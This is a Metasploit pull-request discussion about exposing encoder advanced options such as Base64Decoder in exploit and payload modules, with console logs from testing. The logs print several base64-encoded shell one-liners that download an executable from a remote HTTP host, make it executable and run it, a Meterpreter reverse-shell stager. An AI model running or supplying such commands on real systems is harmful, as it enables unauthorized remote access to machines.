Skip to content

Conversation

@dledda-r7
Copy link
Contributor

@dledda-r7 dledda-r7 commented Jan 8, 2026

This exposes encoder options.

  • Exposed in exploit modules
  • Exposed in payload modules

WHY

msf exploit(multi/http/vbulletin_replace_ad_template_rce) >  set ENCODER cmd/base64
msf exploit(multi/http/vbulletin_replace_ad_template_rce) >  show advanced

...
Encoder advanced options (cmd/base64):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   Base64Decoder                   no        The binary to use for base64 decoding
   VERBOSE        false            no        Enable detailed status messages
   WORKSPACE                       no        Specify the workspace for this module


View the full module info with the info, or info -d command.

msf exploit(multi/http/vbulletin_replace_ad_template_rce) > 

@adfoster-r7
Copy link
Contributor

Not a blockr: I might be wrong - but I think this might be missing some boilerplate. If I understand correctly this PR just impacts the show commands, but it won't be wired up correctly to the datastore normalization logic, save command logic on console reboot, importing encoder default options, tab completion, etc - but let me know if I'm wrong there

Some of that code lives over here similar for choosing payload on module selection:

# Choose a default payload when the module is used, not run
and save - and the jobs persistence workflow might be impacted too #19002

@dledda-r7
Copy link
Contributor Author

@adfoster-r7, let me throw here some logs:

I have tried to do base64<TAB> and the autocomplete worked, doing the generate -f raw -b ';' with the ENCODER set generates successfully the payload, i also see the difference in the stub generation when tweaking the Base64Decoder option (from base64-short to base64-long). also saving looks like the options are saved correctly. Does it cover the issues you were disclosing?

@smcintyre-r7, as a side note, i noticed the Base64Decoder is an OptString instead of an OptEnum, with the results that you don't see the possible "options", would you mind if i change that here?

msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set Base64Decoder base64
Base64Decoder => base64
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw -b ';'
echo Y3VybCAtc28gLi9NeVFCUWJlekwgaHR0cDovLzE5Mi4xNjguMy4xMDo4MDgwL2NXOEpnTkRfYkdsSklCdTRYTHlyVWc7Y2htb2QgK3ggLi9NeVFCUWJlekw7Li9NeVFCUWJlekwm|(base64 --decode||base64 -d)|sh
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set Base64Decoder base64-short
Base64Decoder => base64-short
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw -b ';'
echo Y3VybCAtc28gLi9NeVFCUWJlekwgaHR0cDovLzE5Mi4xNjguMy4xMDo4MDgwL2NXOEpnTkRfYkdsSklCdTRYTHlyVWc7Y2htb2QgK3ggLi9NeVFCUWJlekw7Li9NeVFCUWJlekwm|base64 -d|sh
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set Base64Decoder base64-long
Base64Decoder => base64-long
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw -b ';'
echo Y3VybCAtc28gLi9NeVFCUWJlekwgaHR0cDovLzE5Mi4xNjguMy4xMDo4MDgwL2NXOEpnTkRfYkdsSklCdTRYTHlyVWc7Y2htb2QgK3ggLi9NeVFCUWJlekw7Li9NeVFCUWJlekwm|base64 --decode|sh
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set base64decoder 
base64decoder => base64-long
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > save
Saved configuration to: /home/kali/.msf4/config
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > exit
                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents/github/metasploit-framework]
└─$ ./msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many 
platforms using sessions -u <session_id>
.....
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
WARNING: Local file /home/kali/Documents/github/metasploit-framework/data/meterpreter/metsrv.x86.debug.dll is being used
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show advanced

Module advanced options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
......


Encoder advanced options (cmd/base64):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   Base64Decoder  base64-long      no        The binary to use for base64 decoding
   VERBOSE        false            no        Enable detailed status messages
   WORKSPACE                       no        Specify the workspace for this module


View the full module info with the info, or info -d command.

msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > 

@dledda-r7 dledda-r7 marked this pull request as ready for review January 9, 2026 10:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants